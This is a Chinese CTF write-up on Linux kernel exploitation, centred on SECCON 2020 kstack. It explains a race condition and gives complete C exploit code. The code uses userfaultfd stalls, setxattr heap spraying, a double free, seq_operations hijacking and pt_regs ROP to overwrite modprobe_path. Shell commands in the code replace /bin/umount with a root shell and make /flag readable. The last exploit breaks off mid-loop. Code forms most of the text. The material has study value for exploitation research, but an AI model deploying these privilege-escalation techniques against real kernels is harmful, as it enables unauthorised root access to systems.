noteadd(1,0x60,name);

notegift(ret_buf);
uint64_t heap0 = *(uint64_t *)ret_buf;
uint64_t heap1 = *(uint64_t *)(ret_buf+0x10);

notedel(0);
notedel(1);

int i = 0;
int found = 0;
uint64_t heap0_index,heap1_index;
for(i=0; i<0x10; i++){
noteadd(i,0x60,name);
notegift(ret_buf);
if(*(uint64_t *)(ret_buf+i*0x10) == heap1){
heap1_index = i;
found +=1;
}
if(*(uint64_t *)(ret_buf+i*0x10) == heap0){
heap0_index = i;
found +=1;
}
if(found == 2){
printf("[+] we find it! \n heap0 in index %ld \n heap1 in index %ld \n",heap0_index,heap1_index);
break;
}
}

printf("[-] now, i : %d\n",i);
read_note(ret_buf,heap1_index);
uint64_t magic = *(uint64_t *)ret_buf;
uint64_t cookie = magic^heap0^heap1;
printf("cookie is 0x%lx\n",cookie);

// 重新开始
noteadd(0,0x60,name);
addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(addr, userfaultfd_leak_handler);
pthread_t thr_edit,thr_add;
pthread_create(&thr_edit, NULL, edit_thread, 0);
sleep(1);
pthread_create(&thr_add, NULL, add_thread, 0);
sleep(1);

notegift(ret_buf);
uint64_t uaf_heap_addr = *(uint64_t *)(ret_buf);
uint64_t notebook_sub_0x10 = module_base + + 0x2500 - 0x10;
*(uint64_t *)in_buf = cookie^uaf_heap_addr^notebook_sub_0x10;
write_note(in_buf,0);

*(uint64_t *)(name+0xF0) = cookie^notebook_sub_0x10^0;
int fake_index = 0;
int j = 0;
for( j=1; j < 0x10 ; j++){
noteadd(j,0x60,name);
notegift(ret_buf);
if(*(uint64_t *)(ret_buf+j*0x10) == uaf_heap_addr){
printf("[+] got it!\n");
break;
}
}

if(j == 0x10){
printf("[+] reboot, and try again\n");
exit(0);
}

// printf("give you 20s to attach debugger!!!\n");
// sleep(20);

printf("kmalloc uaf object back\n");
fake_index = j+1;
noteadd(fake_index,0x60,name);


// leak kernel base
*(uint64_t *)(in_buf+0x20) = module_base + 0x168; // call copy_from_user
*(uint64_t *)(in_buf+0x28) = 0x4;
write_note(in_buf,fake_index);
read_note(ret_buf,1);
kernel_base = ((*(uint32_t *)ret_buf + module_base + 0x16c) | 0xffffffff00000000) - 0x476c30;
// 被调用函数实际段偏移量 = 下一条指令地址 + 相对偏移量
printf("kernel base : 0x%lx\n",kernel_base);

// change modprobe_path
printf("[+] change notebook[0] to point to modprobe_path!\n");
*(uint64_t *)(in_buf+0x10) = modprobe_addr - bzImage_base + kernel_base;
*(uint64_t *)(in_buf+0x18) = 0x8;
write_note(in_buf,fake_index);
printf("[+] write notebook[0] to change modprobe_path!\n");
memcpy(in_buf,"/tmp/x\x00",8);
write_note(in_buf,0);

system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\nexec 0</dev/console\\nexec 1>/dev/console\\nexec 2>/dev/console\\n/bin/sh\\n\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x");
system("echo 'chmod 777 /flag' >> /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

system("/tmp/dummy 2>/dev/null");
system("ls -l /flag");
system("cat /flag");

exit(0);
}

问题

  • 问题1:/init的输出无法显示是什么原因?

    为什么这个题,使用modprobe_path方法改了umount,但exit后不能获得root shell???因为init脚本中,没有下面这三行:

    1
    2
    3
    exec 0</dev/console
    exec 1>/dev/console
    exec 2>/dev/console

    导致exit退出后,/dev/console的内容无法显示给我们。如下图,是在init脚本中增加以上三行代码的结果。

    image-20230225194548400

    Difference between /dev/console, /dev/tty, and /dev/tty0

    找到根本原因后,一切就变得简单了。在我们改的umount文件中,/bin/sh之前增加这三行代码,就能达到获得root shell的目的啦!

    1
    system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\nexec 0</dev/console\\nexec 1>/dev/console\\nexec 2>/dev/console\\n/bin/sh\\n\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x");
  • 问题2:在内核态执行commit_creds(prepare_kernel_cred(0))时,gadget不好找,怎么办?

    对于支持多核的内核中,有一个 work_for_cpu_fn() 函数,其反汇编后的代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    __int64 __fastcall work_for_cpu_fn(__int64 a1)
    {
    __int64 result; // rax

    _fentry__();
    result = (*(__int64 (__fastcall **)(_QWORD))(a1 + 32))(*(_QWORD *)(a1 + 40));
    *(_QWORD *)(a1 + 48) = result;
    return result;
    }

    只要控制参数a1(RDI)指向内存的内容,即可执行一个参数的任意函数(如prepare_kernel_cred(0)),并将返回值写入内存中。

题目2 - SECCON2020 kstack

userfaultfd利用方法视频讲解

Kstack - Seccon 2020

从 SECCON2020 一道 kernel pwn 看 userfaultfd + setxattr “堆占位”技术

seccon-2020-kstack

系统开启KASLR,SMEP,KPTI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➜  kstack cat start.sh 
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
-cpu kvm64,+smep \
-net user -net nic -device e1000 \
-monitor /dev/null \
-nographic

$ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

分析

题目附件:kstack.tar.gz

全局变量head未加锁,在0x57ac001和0x57ac002两个分支中都有使用到它,所以存在条件竞争的可能。

image-20230301002128590

利用

方法1 - exp1

  • 条件竞争泄露信息:如果利用userfaultfd让一个线程卡在copy_from_user,另一个线程执行copy_to_user分支,就能泄露堆上的信息
  • 条件竞争产生UAF:copy_to_user线程执行完后,会free掉第一个线程申请的堆,于是产生了悬空指针。
  • 结构体占用UAF堆块,完成控制流劫持:如果使用某个结构体占用刚刚释放的堆块,并在此时恢复copy_from_user线程的执行,让*arg覆盖结构体中的函数指针,就可以劫持控制流了。

方法2- exp2

  • 条件竞争泄露信息:同上

  • 条件竞争构造double free:copy_from_user线程卡住,起第二个线程执行到copy_to_user处卡住,此时第三个线程也进入copy_to_user释放堆块,然后放行第二个线程,会再次释放堆块,于是产生double free

  • “setxattrr+usefaultfd” 改堆块指针,达到任意地址写:同libc

方法3 - exp3

  • 条件竞争泄露信息:同上
  • 条件竞争构造double free:同上
  • 结构体占用double free堆块,”setxattrr+usefaultfd” 改结构体函数指针,完成控制流劫持:某种程度上,可以看作方法1和方法2的结合。double free后,先malloc并用seq_operations占用UAF堆块,再malloc一次(还是那个UAF堆块)并使用”setxaddr+userfaultfd”改函数指针,最后通过操作seq_operations->start控制流劫持

exp1

具体做法如下:

  • 信息泄露:CMD_PUSH分支中,申请的堆块为kmalloc-0x20大小。于是选择先通过 open("/proc/self/stat",0);(申请0x20堆块)和close()(释放0x20堆块)在堆中喷上函数指针,再利用本题的漏洞,就能从copy_to_user()泄露内核函数地址(single_stop())给用户态。
  • 控制流劫持:利用seq_operations结构体占用该堆块,并控制copy_from_user的arg地址处的值,那么就能控制seq_operations->stop函数指针。
  • 提权:利用pt_regs执行ROP gadget写modprobe_path,完成提权。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#define _GNU_SOURCE
#include <inttypes.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdint.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <ctype.h>

#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)
#define BZIMAGE_ADDR 0xFFFFFFFF81000000

int fd_kstack = 0;
uint64_t kernel_base = 0;
char* fault_addr;
uint64_t fd_seq[0x50] = {0};
uint64_t temp_fd = 0;

uint64_t single_stop_off = 0xFFFFFFFF8113BE80 - BZIMAGE_ADDR;

uint64_t modprobe_path_addr = 0xFFFFFFFF81C2C541 - BZIMAGE_ADDR;
uint64_t add_rsp_0x1f8_ret = 0xffffffff814d51c0 - BZIMAGE_ADDR;
uint64_t pop_rdx_rdi_ret = 0xffffffff8122dd4b - BZIMAGE_ADDR;
uint64_t pop_rsi_ret = 0xffffffff81047a8e - BZIMAGE_ADDR;
uint64_t mov_qp_rdx_rdi_ret = 0xffffffff8121216f - BZIMAGE_ADDR;
uint64_t do_task_dead = 0xFFFFFFFF8106EBB0 - BZIMAGE_ADDR;

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void* userfaultfd_leak_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(3);
// pause();
if (nready != 1) ErrExit("[-] Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) ErrExit("[-] msg err");

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) ErrExit("[-] mmap err");
memset(page, 0, sizeof(page));
*(uint64_t*)page = add_rsp_0x1f8_ret; // control rip


struct uffdio_copy uc;
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
ErrExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}


void cmd_push(uint64_t* arg){
ioctl(fd_kstack,0x57AC0001,arg);
}

void cmd_pop(uint64_t* arg){
ioctl(fd_kstack,0x57ac0002,arg);
}

void* push_thread(){
ioctl(fd_kstack,0x57AC0001,fault_addr);
}

void prepare_seq_operations(){
int i = 0;
for(i = 0; i < 50; i++){
fd_seq[i] = open("/proc/self/stat",0);
}

for(i = 0; i < 50; i++){
close(fd_seq[i]);
}

memset(fd_seq,0,0x50);
}

void prepare(){
system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\\n\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x");
system("echo 'chmod 777 /flag' >> /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

if(fork()) {
sleep(10);
system("/tmp/dummy");
system("ls -l /flag");
system("cat /flag");
exit(1);
}
}

int main(){
uint64_t ret_value = 0;
prepare();

fd_kstack = open("/proc/stack",2);

// set userfaultfd
fault_addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(fault_addr, userfaultfd_leak_handler);

// leak kernel_base
prepare_seq_operations(); // spray kernel addr in heap-0x20
pthread_t thr_push,thr_pop;
pthread_create(&thr_push, NULL, push_thread, 0); // stop at copy_from_user
sleep(1);
cmd_pop(&ret_value); // kfree
kernel_base = ret_value - single_stop_off;
printf("kernel_base: 0x%lx\n",kernel_base);
add_rsp_0x1f8_ret += kernel_base;


// control rip
int i = 0;
char* buf = malloc(0x20);
// for(i = 0; i < 50; i++){
// fd_seq[i] = open("/proc/self/stat",0);
// }
fd_seq[0] = open("/proc/self/stat",0);
sleep(5);
temp_fd = fd_seq[0];
modprobe_path_addr += kernel_base;
pop_rdx_rdi_ret += kernel_base;
pop_rsi_ret += kernel_base;
mov_qp_rdx_rdi_ret += kernel_base;
do_task_dead += kernel_base;
// read(fd_seq[0],buf,0x20);

__asm__(
"mov r15, 0x15151515;" // r15
"mov r14, 0x14141414;" // r14 /tmp/x
"mov r13, pop_rdx_rdi_ret;" // r13
"mov r12, modprobe_path_addr;" // r12
"mov r11, 0x11111111;"
"mov r10, mov_qp_rdx_rdi_ret;" // r10
"mov rbp, 0x782f706d742f;" // bbbbbbbb
"mov rbx, pop_rsi_ret;" // aaaaaaaa
"mov r9, do_task_dead;" // r9
"mov r8, 0x88888888;" //r8
"mov rcx, 0xcccccccc;"
"xor rax, rax;"
"mov rdx, 0x22222222;"
"mov rsi, 0x33333333;"
"mov rdi, temp_fd;"
"syscall"
);
// for(i = 0; i < 50; i++){
// read(fd_seq[i],buf,0x20);
// printf("[+]index : %d done!",i);
// }

return 0;

}

效果如下:

image-20230228232415377

exp2

通过double free 构造任意地址写,直接写modprobe_path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>
#include <poll.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>

#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)
#define BZIMAGE_ADDR 0xFFFFFFFF81000000

int fd_kstack = 0;
uint64_t kernel_base = 0;
char* fault_addr;
char* fault_addr2;
char* fault_addr3;
char* fault_addr4;
uint64_t fd_seq[0x50] = {0};

uint64_t single_stop_off = 0xFFFFFFFF8113BE80 - BZIMAGE_ADDR;

uint64_t modprobe_path_addr = 0xFFFFFFFF81C2C541 - BZIMAGE_ADDR;
uint64_t pop_rdx_rdi_ret = 0xffffffff8122dd4b - BZIMAGE_ADDR;
uint64_t pop_rsi_ret = 0xffffffff81047a8e - BZIMAGE_ADDR;
uint64_t mov_qp_rdx_rdi_ret = 0xffffffff8121216f - BZIMAGE_ADDR;
uint64_t do_task_dead = 0xFFFFFFFF8106EBB0 - BZIMAGE_ADDR;

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void* userfaultfd_sleep3_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(3);
// pause();
if (nready != 1) ErrExit("[-] Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) ErrExit("[-] msg err");

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) ErrExit("[-] mmap err");
memset(page, 0, sizeof(page));

struct uffdio_copy uc;
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

void* userfaultfd_pause_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
pause();
return NULL;
}

void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
ErrExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}

void cmd_push(uint64_t* arg){
ioctl(fd_kstack,0x57AC0001,arg);
}

void cmd_pop(uint64_t* arg){
ioctl(fd_kstack,0x57ac0002,arg);
}

void* push_thread(void* addr){
ioctl(fd_kstack,0x57AC0001,addr);
}

void* pop_thread(void* addr){
ioctl(fd_kstack,0x57AC0002,addr);
}

void* setxattr_thread(void* addr){
setxattr("/exp","bling",addr,0x20,0);
}

void prepare_seq_operations(){
int i = 0;
for(i = 0; i < 80; i++){
fd_seq[i] = open("/proc/self/stat",0);
}

for(i = 0; i < 59; i++){
close(fd_seq[i]);
}

memset(fd_seq,0,0x50);
}

void prepare(){
system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\\n\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x");
system("echo 'chmod 777 /flag' >> /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

if(fork()) {
sleep(20);
system("/tmp/dummy");
system("ls -l /flag");
system("cat /flag");
exit(1);
}
}

int main(){
uint64_t ret_value = 0;
prepare();

fd_kstack = open("/proc/stack",2);

// set userfaultfd
fault_addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(fault_addr, userfaultfd_sleep3_handler);

// leak kernel_base
printf("[+] leaking kernel base address\n");
prepare_seq_operations(); // spray kernel addr in heap-0x20
pthread_t thr_push;
pthread_create(&thr_push, NULL, push_thread, fault_addr); // stop at copy_from_user
sleep(1);
cmd_pop(&ret_value); // kfree
kernel_base = ret_value - single_stop_off;
printf(" kernel_base: 0x%lx\n",kernel_base);

sleep(3);

// double free
printf("[+] creating double free\n");
fault_addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(fault_addr, userfaultfd_pause_handler);
fault_addr2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(fault_addr2, userfaultfd_sleep3_handler);
fault_addr3 = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(fault_addr3+0x1000, userfaultfd_pause_handler);
fault_addr4 = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(fault_addr4+0x1000, userfaultfd_pause_handler);

*(uint64_t*)(fault_addr3+0x1000-0x8) = modprobe_path_addr + kernel_base; // aaw: target address
*(uint64_t*)(fault_addr4+0x1000-0x8) = 0x782f706d742f; // aaw: value - "/tmp/x"

pthread_t thr_pause,thr_pop;
pthread_create(&thr_pause, NULL, push_thread, fault_addr); // kmalloc
sleep(1);
pthread_create(&thr_pop, NULL, pop_thread, fault_addr2); // first kfree
sleep(1);
cmd_pop(&ret_value); // double kfree

sleep(3);

// malloc back
printf("[+] arbitrary write\n");
pthread_t setxattr1,setxattr2,setxattr3;
pthread_create(&setxattr1, NULL, setxattr_thread, fault_addr3+0x1000-0x8);
sleep(1);
pthread_create(&setxattr2, NULL, setxattr_thread, fault_addr3+0x1000-0x8);
// 不知道为什么,在这个期间,总是会有一个do_fork()的调用???导致modprobe_path那个块被提前占用了。
close(fd_seq[59]); // 所以,增加一个kfree 0x20大小堆块的操作
sleep(1);
pthread_create(&setxattr3, NULL, setxattr_thread, fault_addr4+0x1000-0x8);
sleep(1); // 这里要sleep 1s,给线程一点时间将modprobe_path写完
for(int i = 60; i < 80; i++){
close(fd_seq[i]); // 防止后续申请0x20大小堆块时系统崩溃
}

pause();
}

exp3

跟exp2的区别在如何malloc回double free的堆块,这里先用seq_operations结构体占住堆块,再用”setxattr+userfaultfd”覆盖seq_operations->start指针,完成控制流劫持。最后使用ptregs+ROP修改modprobe_path提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
#define _GNU_SOURCE
#include <inttypes.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdint.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <ctype.h>
#include <sys/xattr.h>

#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)
#define BZIMAGE_ADDR 0xFFFFFFFF81000000

int fd_kstack = 0;
uint64_t kernel_base = 0;
char* fault_addr;
char* fault_addr2;
char* fault_addr3;
uint64_t fd_seq[0x50] = {0};
uint64_t temp_fd = 0;

uint64_t single_stop_off = 0xFFFFFFFF8113BE80 - BZIMAGE_ADDR;

uint64_t modprobe_path_addr = 0xFFFFFFFF81C2C541 - BZIMAGE_ADDR;
uint64_t add_rsp_0x1f8_ret = 0xffffffff814d51c0 - BZIMAGE_ADDR;
uint64_t pop_rdx_rdi_ret = 0xffffffff8122dd4b - BZIMAGE_ADDR;
uint64_t pop_rsi_ret = 0xffffffff81047a8e - BZIMAGE_ADDR;
uint64_t mov_qp_rdx_rdi_ret = 0xffffffff8121216f - BZIMAGE_ADDR;
uint64_t do_task_dead = 0xFFFFFFFF8106EBB0 - BZIMAGE_ADDR;

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void* userfaultfd_sleep3_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(3);
// pause();
if (nready != 1) ErrExit("[-] Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) ErrExit("[-] msg err");

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) ErrExit("[-] mmap err");
memset(page, 0, sizeof(page));

struct uffdio_copy uc;
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

void* userfaultfd_pause_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
pause();
return NULL;
}

void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
ErrExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}


void cmd_push(uint64_t* arg){
ioctl(fd_kstack,0x57AC0001,arg);
}

void cmd_pop(uint64_t* arg){
ioctl(fd_kstack,0x57ac0002,arg);
}

void* push_thread(){
ioctl(fd_kstack,0x57AC0001,fault_addr);
}

void* pop_thread(void* addr){
ioctl(fd_kstack,0x57AC0002,addr);
}

void* setxattr_thread(void* addr){
setxattr("/exp","bling",addr,0x20,0);
}

void prepare_seq_operations(){
int i = 0;
for(i = 0; i < 80; i++){
fd_seq[i] = open("/proc/self/stat",0);
}

for(i = 0; i < 50; i++){
close(fd_seq[i]);
}

memset(fd_seq,0,0x50);
}

void prepare(){
system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\\n\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x");
system("echo 'chmod 777 /flag' >> /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

if(fork()) {
sleep(20);
system("/tmp/dummy");
system("ls -l /flag");
system("cat /flag");
exit(1);
}
}

int main(){
uint64_t ret_value = 0;
prepare();

fd_kstack = open("/proc/stack",2);

// set userfaultfd
fault_addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(fault_addr, userfaultfd_sleep3_handler);

// leak kernel_base
prepare_seq_operations(); // spray kernel addr in heap-0x20
pthread_t thr_push;
pthread_create(&thr_push, NULL, push_thread, 0); // stop at copy_from_user
sleep(1);
cmd_pop(&ret_value); // kfree
kernel_base = ret_value - single_stop_off;
printf("kernel_base: 0x%lx\n",kernel_base);

sleep(3);

// double free
printf("[+] creating double free\n");
fault_addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(fault_addr, userfaultfd_pause_handler);
fault_addr2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(fault_addr2, userfaultfd_sleep3_handler);
fault_addr3 = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(fault_addr3+0x1000, userfaultfd_pause_handler);
*(uint64_t*)(fault_addr3+0x1000-0x8) = add_rsp_0x1f8_ret + kernel_base;

pthread_t thr_pause,thr_pop;
pthread_create(&thr_pause, NULL, push_thread, fault_addr); // kmalloc
sleep(1);
pthread_create(&thr_pop, NULL, pop_thread, fault_addr2); // first kfree
sleep(1);
cmd_pop(&ret_value); // double kfree

sleep(3);

// malloc UAF 0x20 to seq_operations
fd_seq[0] = open("/proc/self/stat",0);
sleep(1);
// malloc UAF 0x20 to write first 8 bytes
pthread_t thr_setxattr;
pthread_create(&thr_setxattr, NULL, setxattr_thread, fault_addr3+0x1000-0x8);
sleep(3);

// trigger
for(int i = 50; i < 80; i++){
